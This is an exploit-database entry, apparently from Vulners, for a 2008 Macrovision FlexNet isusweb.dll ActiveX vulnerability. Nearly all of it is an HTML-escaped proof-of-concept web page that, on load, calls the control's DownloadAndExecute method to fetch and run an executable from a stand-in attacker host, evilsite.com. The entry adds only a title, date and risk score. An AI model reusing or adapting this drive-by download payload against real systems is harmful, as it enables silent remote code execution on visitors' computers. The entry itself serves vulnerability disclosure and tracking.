Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit

🗓️ 16 Jan 2008 00:00:00Reported by RootType

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploi


                                                &lt;!--&nbsp;
Macrovision&nbsp;FlexNet&nbsp;isusweb.dll&nbsp;DownloadAndExecute&nbsp;Method&nbsp;Exploit
Implemented&nbsp;Categories:
Category:&nbsp;Safe&nbsp;for&nbsp;Scripting
Written&nbsp;by&nbsp;e.b.
Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;SP2(fully&nbsp;patched)&nbsp;English,&nbsp;IE6,&nbsp;isusweb.dll&nbsp;version&nbsp;6.1.100.61372&nbsp;
--&gt;
&lt;html&gt;
&nbsp;&lt;head&gt;
&nbsp;&nbsp;&lt;title&gt;Macrovision&nbsp;FlexNet&nbsp;isusweb.dll&nbsp;DownloadAndExecute&nbsp;Method&nbsp;Exploit&lt;/title&gt;
&nbsp;&nbsp;&lt;script&nbsp;language=&quot;JavaScript&quot;&nbsp;defer&gt;
&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;Check()&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;							&nbsp;&nbsp;obj.DownloadAndExecute(&quot;Bla&quot;,&quot;{11111111-1111-1111-1111-111111111111}&quot;,0,&quot;http://www.evilsite.com/evil.exe&quot;,&quot;evil.exe&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;
&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&lt;/script&gt;
&nbsp;&nbsp;&lt;/head&gt;
&nbsp;&lt;body&nbsp;onload=&quot;JavaScript:&nbsp;return&nbsp;Check();&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;object&nbsp;id=&quot;obj&quot;&nbsp;classid=&quot;clsid:1DF951B1-8D40-4894-A04C-66AD824A0EEF&quot;&nbsp;height=&quot;0&quot;&nbsp;width=&quot;0&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Unable&nbsp;to&nbsp;create&nbsp;object
&nbsp;&nbsp;&nbsp;&nbsp;&lt;/object&gt;
&nbsp;&lt;/body&gt;
&lt;/html&gt;

16 Jan 2008 00:00Current

7.1High risk

Vulners AI Score7.1